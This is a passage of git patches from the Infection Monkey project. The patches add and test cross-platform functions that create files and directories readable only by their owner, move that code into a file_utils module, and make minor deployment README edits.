monkey/monkey_island/cc/server_utils/encryptor.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 60ab8ead94a..cfa5b751c64 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,6 +6,8 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 +from monkey_island.cc.environment.utils import create_secure_file + __author__ = "itay.mizeretz" _encryptor = None @@ -21,6 +23,7 @@ def __init__(self, password_file_dir): if os.path.exists(password_file): self._load_existing_key(password_file) else: + create_secure_file(path=password_file) self._init_key(password_file) def _init_key(self, password_file): From 8dd4bb5e17e1c796470fe1c8f32044cbd6b1fe7b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 16:26:00 +0530 Subject: [PATCH 0783/1360] island: Use 'x' instead of '_' when creating a secure file --- monkey/monkey_island/cc/environment/utils.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 7c822edd113..e454843edf9 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -61,7 +61,7 @@ def _create_secure_file_linux(path: str): flags = os.O_RDWR | os.O_CREAT # read/write, create new mode = 0o700 # read/write/execute permissions to owner - with os.open(path, flags, mode) as _: + with os.open(path, flags, mode) as x: # noqa: F841 pass except Exception as ex: @@ -90,7 +90,7 @@ def _create_secure_file_windows(path: str): CreationDisposition=file_creation, flagsAndAttributes=file_attributes, hTemplateFile=win32file.NULL, - ) as _: + ) as x: # noqa: F841 pass except Exception as ex: From 8b932e194654c70cdaf4bf662184c4942984ae51 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 16:49:24 +0530 Subject: [PATCH 0784/1360] island: Add os.O_EXCL flag so that an error is thrown if trying to create a file that exists --- monkey/monkey_island/cc/environment/utils.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index e454843edf9..0a84e6aac67 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -58,7 +58,9 @@ def create_secure_file(path: str): def _create_secure_file_linux(path: str): try: - flags = os.O_RDWR | os.O_CREAT # read/write, create new + flags = ( + os.O_RDWR | os.O_CREAT | os.O_EXCL + ) # read/write, create new, throw error if file exists mode = 0o700 # read/write/execute permissions to owner with os.open(path, flags, mode) as x: # noqa: F841 From 5fe0c80377c709c6e6a3c9ec87729f7026bc0a0e Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 17:07:30 +0530 Subject: [PATCH 0785/1360] island: Can't use `with` with `os.open()`, use `os.close()` to close file descriptor --- monkey/monkey_island/cc/environment/utils.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 0a84e6aac67..1fb998a5f88 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -62,9 +62,7 @@ def _create_secure_file_linux(path: str): os.O_RDWR | os.O_CREAT | os.O_EXCL ) # read/write, create new, throw error if file exists mode = 0o700 # read/write/execute permissions to owner - - with os.open(path, flags, mode) as x: # noqa: F841 - pass + os.close(os.open(path, flags, mode)) except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') From 248d57789f3a963bbf8ac5be9abcba3b27c7763e Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 17:50:40 +0530 Subject: [PATCH 0786/1360] tests: Add unit tests for securly creating a file --- .../cc/environment/test_utils.py | 51 ++++++++++++++++++- 1 file changed, 50 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index 4d933af76cd..b04b180e549 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -3,7 +3,11 @@ import pytest -from monkey_island.cc.environment.utils import create_secure_directory, is_windows_os +from monkey_island.cc.environment.utils import ( + create_secure_directory, + create_secure_file, + is_windows_os, +) @pytest.fixture @@ -63,3 +67,48 @@ def test_create_secure_directory__perm_windows(test_path): assert sid == user_sid assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW + + +def test_create_secure_file__already_created(test_path): + os.close(os.open(test_path, os.O_CREAT, 0o700)) + assert os.path.isfile(test_path) + create_secure_file(test_path) + + +def test_create_secure_file__no_parent_dir(test_path_nested): + with pytest.raises(Exception): + create_secure_file(test_path_nested) + + +@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") +def test_create_secure_file__perm_linux(test_path): + create_secure_file(test_path) + st = os.stat(test_path) + assert (st.st_mode & 0o777) == stat.S_IRWXU + + +@pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") +def test_create_secure_file__perm_windows(test_path): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + + create_secure_file(test_path) + + user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + + assert acl.GetAceCount() == 1 + + ace = acl.GetAce(0) + ace_type, _ = ace[0] # 0 for allow, 1 for deny + permissions = ace[1] + sid = ace[-1] + + assert sid == user_sid + assert permissions == FULL_CONTROL and ace_type == ACE_TYPE_ALLOW From 6d360ef8654d2e719478c23cb9f89c5269c16c54 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 17:51:55 +0530 Subject: [PATCH 0787/1360] tests: Fix assertion in `test_create_secure_directory__perm_linux()` --- .../tests/unit_tests/monkey_island/cc/environment/test_utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index b04b180e549..b18f5d656c7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -39,7 +39,7 @@ def test_create_secure_directory__no_parent_dir(test_path_nested): def test_create_secure_directory__perm_linux(test_path): create_secure_directory(test_path) st = os.stat(test_path) - return bool(st.st_mode & stat.S_IRWXU) + assert (st.st_mode & 0o777) == stat.S_IRWXU @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") From c0d9489100bfe51954a024ba582c829e9184619b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 17:59:57 +0530 Subject: [PATCH 0788/1360] tests: Extract duplicate code in Windows tests in test_utils --- .../cc/environment/test_utils.py | 42 +++++++++---------- 1 file changed, 20 insertions(+), 22 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index b18f5d656c7..248d5f85013 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -9,6 +9,13 @@ is_windows_os, ) +if is_windows_os(): + import win32api + import win32security + + FULL_CONTROL = 2032127 + ACE_TYPE_ALLOW = 0 + @pytest.fixture def test_path_nested(tmpdir): @@ -24,6 +31,17 @@ def test_path(tmpdir): return path +def _get_acl_and_sid_from_path(path: str): + create_secure_file(path) + + sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) + security_descriptor = win32security.GetNamedSecurityInfo( + test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + ) + acl = security_descriptor.GetSecurityDescriptorDacl() + return acl, sid + + def test_create_secure_directory__already_created(test_path): os.mkdir(test_path) assert os.path.isdir(test_path) @@ -44,19 +62,9 @@ def test_create_secure_directory__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_create_secure_directory__perm_windows(test_path): - import win32api - import win32security - - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - create_secure_directory(test_path) - user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() + acl, user_sid = _get_acl_and_sid_from_path() assert acl.GetAceCount() == 1 @@ -89,19 +97,9 @@ def test_create_secure_file__perm_linux(test_path): @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_create_secure_file__perm_windows(test_path): - import win32api - import win32security - - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - create_secure_file(test_path) - user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - security_descriptor = win32security.GetNamedSecurityInfo( - test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - acl = security_descriptor.GetSecurityDescriptorDacl() + acl, user_sid = _get_acl_and_sid_from_path() assert acl.GetAceCount() == 1 From 5e14738a43474ca092fd03fc35d4b72bb9a11d10 Mon Sep 17 00:00:00 2001 From: kur1mi <54467020+kur1mi@users.noreply.github.com> Date: Mon, 14 Jun 2021 21:29:24 +0800 Subject: [PATCH 0789/1360] Update README.md in deployment _scripts --- deployment_scripts/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index aed00ae5822..37cdb4a39ac 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -64,7 +64,7 @@ your PATH environment variable is up to date. ```sh cd infection_monkey/monkey/monkey_island -pipenv run ./linux/run.sh +pipenv run python ../monkey_island.py ``` ## Pre-commit hooks From 0c6d0ed2a8b5ec633129bd84632f804abc4180fb Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Jun 2021 18:32:23 +0200 Subject: [PATCH 0790/1360] Removed quotes in deployment_scripts README for first argument of deploy_linux.sh. Related #1108. --- deployment_scripts/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 37cdb4a39ac..54e077ec700 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -49,9 +49,9 @@ Then execute the resulting script with your shell. After downloading that script, execute it in a shell. The first argument should be an absolute path of an empty directory (the script will create one if doesn't exist, default is ./infection_monkey). The second parameter is the branch you want to clone (develop by default). Some example usages: - `./deploy_linux.sh` (deploys under ./infection_monkey) -- `./deploy_linux.sh "/home/test/monkey"` (deploys under /home/test/monkey) +- `./deploy_linux.sh /home/test/monkey` (deploys under /home/test/monkey) - `./deploy_linux.sh "" "master"` (deploys master branch in script directory) -- `./deploy_linux.sh "/home/user/new" "master"` (if directory "new" is not found creates it and clones master branch into it) +- `./deploy_linux.sh /home/user/new "master"` (if directory "new" is not found creates it and clones master branch into it) You may also pass in an optional third `false` parameter to disable downloading the latest agent binaries. From 37eda4e7adbf6e0b118e388b84f944f32afc6a2b Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 14 Jun 2021 23:15:17 +0530 Subject: [PATCH 0791/1360] island: Fix secure file creation on Windows --- monkey/monkey_island/cc/environment/utils.py | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 1fb998a5f88..2f1b161e10f 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -9,6 +9,7 @@ def is_windows_os() -> bool: if is_windows_os(): import win32file + import win32job import win32security import monkey_island.cc.environment.windows_permissions as windows_permissions @@ -83,13 +84,15 @@ def _create_secure_file_windows(path: str): file_attributes = win32file.FILE_ATTRIBUTE_NORMAL with win32file.CreateFile( - fileName=path, - desiredAccess=file_access, - shareMode=file_sharing, - attributes=security_attributes, - CreationDisposition=file_creation, - flagsAndAttributes=file_attributes, - hTemplateFile=win32file.NULL, + path, + file_access, + file_sharing, + security_attributes, + file_creation, + file_attributes, + win32job.CreateJobObject( + None, "" + ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 ) as x: # noqa: F841 pass From 1467a53e6071e1235b304bc75476df38cf5faa3b Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 14 Jun 2021 23:24:09 +0530 Subject: [PATCH 0792/1360] island: Use win32file.CloseHandle() to close file descriptor on Windows --- monkey/monkey_island/cc/environment/utils.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 2f1b161e10f..86370e01f64 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -83,7 +83,7 @@ def _create_secure_file_windows(path: str): file_creation = win32file.CREATE_NEW # fails if file exists file_attributes = win32file.FILE_ATTRIBUTE_NORMAL - with win32file.CreateFile( + win32file.CloseHandle(win32file.CreateFile( path, file_access, file_sharing, @@ -93,8 +93,7 @@ def _create_secure_file_windows(path: str): win32job.CreateJobObject( None, "" ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 - ) as x: # noqa: F841 - pass + )) except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') From 7ddb986f159225a87322da294622d1493c800ddb Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 14 Jun 2021 23:24:52 +0530 Subject: [PATCH 0793/1360] tests: Fix file creation unit tests in test_utils.py --- .../unit_tests/monkey_island/cc/environment/test_utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index 248d5f85013..90b65c4ec04 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -36,7 +36,7 @@ def _get_acl_and_sid_from_path(path: str): sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) security_descriptor = win32security.GetNamedSecurityInfo( - test_path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION + path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION ) acl = security_descriptor.GetSecurityDescriptorDacl() return acl, sid @@ -64,7 +64,7 @@ def test_create_secure_directory__perm_linux(test_path): def test_create_secure_directory__perm_windows(test_path): create_secure_directory(test_path) - acl, user_sid = _get_acl_and_sid_from_path() + acl, user_sid = _get_acl_and_sid_from_path(test_path) assert acl.GetAceCount() == 1 @@ -99,7 +99,7 @@ def test_create_secure_file__perm_linux(test_path): def test_create_secure_file__perm_windows(test_path): create_secure_file(test_path) - acl, user_sid = _get_acl_and_sid_from_path() + acl, user_sid = _get_acl_and_sid_from_path(test_path) assert acl.GetAceCount() == 1 From 1170b176d3e00ad1b0d93ee375459df1745550d8 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 14 Jun 2021 23:41:56 +0530 Subject: [PATCH 0794/1360] island: Fix Windows' secure file creation by using a different file flag --- monkey/monkey_island/cc/environment/utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 86370e01f64..558b21b2005 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -81,7 +81,7 @@ def _create_secure_file_windows(path: str): windows_permissions.get_security_descriptor_for_owner_only_perms() ) file_creation = win32file.CREATE_NEW # fails if file exists - file_attributes = win32file.FILE_ATTRIBUTE_NORMAL + file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS win32file.CloseHandle(win32file.CreateFile( path, From 443b66e9d9f404e808ce0c91f3bb126f184ae0d6 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Mon, 14 Jun 2021 23:43:05 +0530 Subject: [PATCH 0795/1360] tests: Remove accidental code in `_get_acl_and_sid_from_path()` in test_utils.py --- .../tests/unit_tests/monkey_island/cc/environment/test_utils.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index 90b65c4ec04..c3a8b39b19c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -32,8 +32,6 @@ def test_path(tmpdir): def _get_acl_and_sid_from_path(path: str): - create_secure_file(path) - sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) security_descriptor = win32security.GetNamedSecurityInfo( path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION From 5ea046eda531656d8ff1a346a86bd5936bbbd9db Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 00:06:40 +0530 Subject: [PATCH 0796/1360] island: Format cc/environment/utils.py with black --- monkey/monkey_island/cc/environment/utils.py | 24 +++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 558b21b2005..a9b31209260 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -83,17 +83,19 @@ def _create_secure_file_windows(path: str): file_creation = win32file.CREATE_NEW # fails if file exists file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS - win32file.CloseHandle(win32file.CreateFile( - path, - file_access, - file_sharing, - security_attributes, - file_creation, - file_attributes, - win32job.CreateJobObject( - None, "" - ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 - )) + win32file.CloseHandle( + win32file.CreateFile( + path, + file_access, + file_sharing, + security_attributes, + file_creation, + file_attributes, + win32job.CreateJobObject( + None, "" + ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 + ) + ) except Exception as ex: LOG.error(f'Could not create a file at "{path}": {str(ex)}') From d7565fc515131d0c059217f6a6858f05fc77cd8c Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 12:20:48 +0530 Subject: [PATCH 0797/1360] island: Use stat.S_IRWXU in place of 0o700 in cc/environment/utils.py --- monkey/monkey_island/cc/environment/utils.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index a9b31209260..94943106a62 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -1,6 +1,7 @@ import logging import os import platform +import stat def is_windows_os() -> bool: @@ -29,7 +30,7 @@ def _create_secure_directory_linux(path: str): try: # Don't split directory creation and permission setting # because it will temporarily create an accessible directory which anyone can use. - os.mkdir(path, mode=0o700) + os.mkdir(path, mode=stat.S_IRWXU) except Exception as ex: LOG.error(f'Could not create a directory at "{path}": {str(ex)}') @@ -62,7 +63,7 @@ def _create_secure_file_linux(path: str): flags = ( os.O_RDWR | os.O_CREAT | os.O_EXCL ) # read/write, create new, throw error if file exists - mode = 0o700 # read/write/execute permissions to owner + mode = stat.S_IRWXU # read/write/execute permissions to owner os.close(os.open(path, flags, mode)) except Exception as ex: From 91873343dd94dbbb86ffcbf67feaf57cb5a833fe Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 12:26:33 +0530 Subject: [PATCH 0798/1360] tests: Add comment to `test_create_secure_directory__perm_windows()` explaining when it fails --- .../tests/unit_tests/monkey_island/cc/environment/test_utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index c3a8b39b19c..2c42622766b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -78,7 +78,7 @@ def test_create_secure_directory__perm_windows(test_path): def test_create_secure_file__already_created(test_path): os.close(os.open(test_path, os.O_CREAT, 0o700)) assert os.path.isfile(test_path) - create_secure_file(test_path) + create_secure_file(test_path) # test fails if any exceptions are thrown def test_create_secure_file__no_parent_dir(test_path_nested): From b5f092a85c20c103eaab3755fad3c25f2a247f68 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Tue, 15 Jun 2021 12:46:18 +0530 Subject: [PATCH 0799/1360] island: Move code from cc/environment/utils.py to cc/server_utils/file_utils.py --- monkey/monkey_island/cc/environment/utils.py | 103 ------------------ .../monkey_island/cc/server_utils/consts.py | 2 +- .../cc/server_utils/encryptor.py | 2 +- .../cc/server_utils/file_utils.py | 102 +++++++++++++++++ .../windows_permissions.py | 0 monkey/monkey_island/cc/setup/config_setup.py | 2 +- .../cc/setup/mongo/mongo_setup.py | 2 +- 7 files changed, 106 insertions(+), 107 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/utils.py rename monkey/monkey_island/cc/{environment => server_utils}/windows_permissions.py (100%) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py deleted file mode 100644 index 94943106a62..00000000000 --- a/monkey/monkey_island/cc/environment/utils.py +++ /dev/null @@ -1,103 +0,0 @@ -import logging -import os -import platform -import stat - - -def is_windows_os() -> bool: - return platform.system() == "Windows" - - -if is_windows_os(): - import win32file - import win32job - import win32security - - import monkey_island.cc.environment.windows_permissions as windows_permissions - -LOG = logging.getLogger(__name__) - - -def create_secure_directory(path: str): - if not os.path.isdir(path): - if is_windows_os(): - _create_secure_directory_windows(path) - else: - _create_secure_directory_linux(path) - - -def _create_secure_directory_linux(path: str): - try: - # Don't split directory creation and permission setting - # because it will temporarily create an accessible directory which anyone can use. - os.mkdir(path, mode=stat.S_IRWXU) - - except Exception as ex: - LOG.error(f'Could not create a directory at "{path}": {str(ex)}') - raise ex - - -def _create_secure_directory_windows(path: str): - try: - security_attributes = win32security.SECURITY_ATTRIBUTES() - security_attributes.SECURITY_DESCRIPTOR = ( - windows_permissions.get_security_descriptor_for_owner_only_perms() - ) - win32file.CreateDirectory(path, security_attributes) - - except Exception as ex: - LOG.error(f'Could not create a directory at "{path}": {str(ex)}') - raise ex - - -def create_secure_file(path: str): - if not os.path.isfile(path): - if is_windows_os(): - _create_secure_file_windows(path) - else: - _create_secure_file_linux(path) - - -def _create_secure_file_linux(path: str): - try: - flags = ( - os.O_RDWR | os.O_CREAT | os.O_EXCL - ) # read/write, create new, throw error if file exists - mode = stat.S_IRWXU # read/write/execute permissions to owner - os.close(os.open(path, flags, mode)) - - except Exception as ex: - LOG.error(f'Could not create a file at "{path}": {str(ex)}') - raise ex - - -def _create_secure_file_windows(path: str): - try: - file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE - file_sharing = ( - win32file.FILE_SHARE_READ - ) # subsequent open operations on the object will succeed only if read access is requested - security_attributes = win32security.SECURITY_ATTRIBUTES() - security_attributes.SECURITY_DESCRIPTOR = ( - windows_permissions.get_security_descriptor_for_owner_only_perms() - ) - file_creation = win32file.CREATE_NEW # fails if file exists - file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS - - win32file.CloseHandle( - win32file.CreateFile( - path, - file_access, - file_sharing, - security_attributes, - file_creation, - file_attributes, - win32job.CreateJobObject( - None, "" - ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 - ) - ) - - except Exception as ex: - LOG.error(f'Could not create a file at "{path}": {str(ex)}') - raise ex diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index ef5d0733cd0..cfa426d939c 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,7 +1,7 @@ import os from pathlib import Path -from monkey_island.cc.environment.utils import is_windows_os +from monkey_island.cc.server_utils.file_utils import is_windows_os from monkey_island.cc.server_utils import file_utils __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index cfa5b751c64..abeb34dc342 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -6,7 +6,7 @@ from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.environment.utils import create_secure_file +from monkey_island.cc.server_utils.file_utils import create_secure_file __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 225fb8732a0..a495fb5f0f8 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -1,5 +1,107 @@ import os +import logging +import platform +import stat + +LOG = logging.getLogger(__name__) + + +def is_windows_os() -> bool: + return platform.system() == "Windows" + + +if is_windows_os(): + import win32file + import win32job + import win32security + + import monkey_island.cc.server_utils.windows_permissions as windows_permissions def expand_path(path: str) -> str: return os.path.expandvars(os.path.expanduser(path)) + + +def create_secure_directory(path: str): + if not os.path.isdir(path): + if is_windows_os(): + _create_secure_directory_windows(path) + else: + _create_secure_directory_linux(path) + + +def _create_secure_directory_linux(path: str): + try: + # Don't split directory creation and permission setting + # because it will temporarily create an accessible directory which anyone can use. + os.mkdir(path, mode=stat.S_IRWXU) + + except Exception as ex: + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + raise ex + + +def _create_secure_directory_windows(path: str): + try: + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) + win32file.CreateDirectory(path, security_attributes) + + except Exception as ex: + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') + raise ex + + +def create_secure_file(path: str): + if not os.path.isfile(path): + if is_windows_os(): + _create_secure_file_windows(path) + else: + _create_secure_file_linux(path) + + +def _create_secure_file_linux(path: str): + try: + flags = ( + os.O_RDWR | os.O_CREAT | os.O_EXCL + ) # read/write, create new, throw error if file exists + mode = stat.S_IRWXU # read/write/execute permissions to owner + os.close(os.open(path, flags, mode)) + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex + + +def _create_secure_file_windows(path: str): + try: + file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE + file_sharing = ( + win32file.FILE_SHARE_READ + ) # subsequent open operations on the object will succeed only if read access is requested + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) + file_creation = win32file.CREATE_NEW # fails if file exists + file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS + + win32file.CloseHandle( + win32file.CreateFile( + path, + file_access, + file_sharing, + security_attributes, + file_creation, + file_attributes, + win32job.CreateJobObject( + None, "" + ), # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501 + ) + ) + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/server_utils/windows_permissions.py similarity index 100% rename from monkey/monkey_island/cc/environment/windows_permissions.py rename to monkey/monkey_island/cc/server_utils/windows_permissions.py diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 103137a9105..ef965e56003 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -2,7 +2,7 @@ from monkey_island.cc.arg_parser import IslandCmdArgs from monkey_island.cc.environment import server_config_handler -from monkey_island.cc.environment.utils import create_secure_directory +from monkey_island.cc.server_utils.file_utils import create_secure_directory from monkey_island.cc.server_utils import file_utils from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 0ab8ca0c008..02e097c6848 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -5,7 +5,7 @@ import time from monkey_island.cc.database import get_db_version, is_db_server_up -from monkey_island.cc.environment.utils import create_secure_directory +from monkey_island.cc.server_utils.file_utils import create_secure_directory from 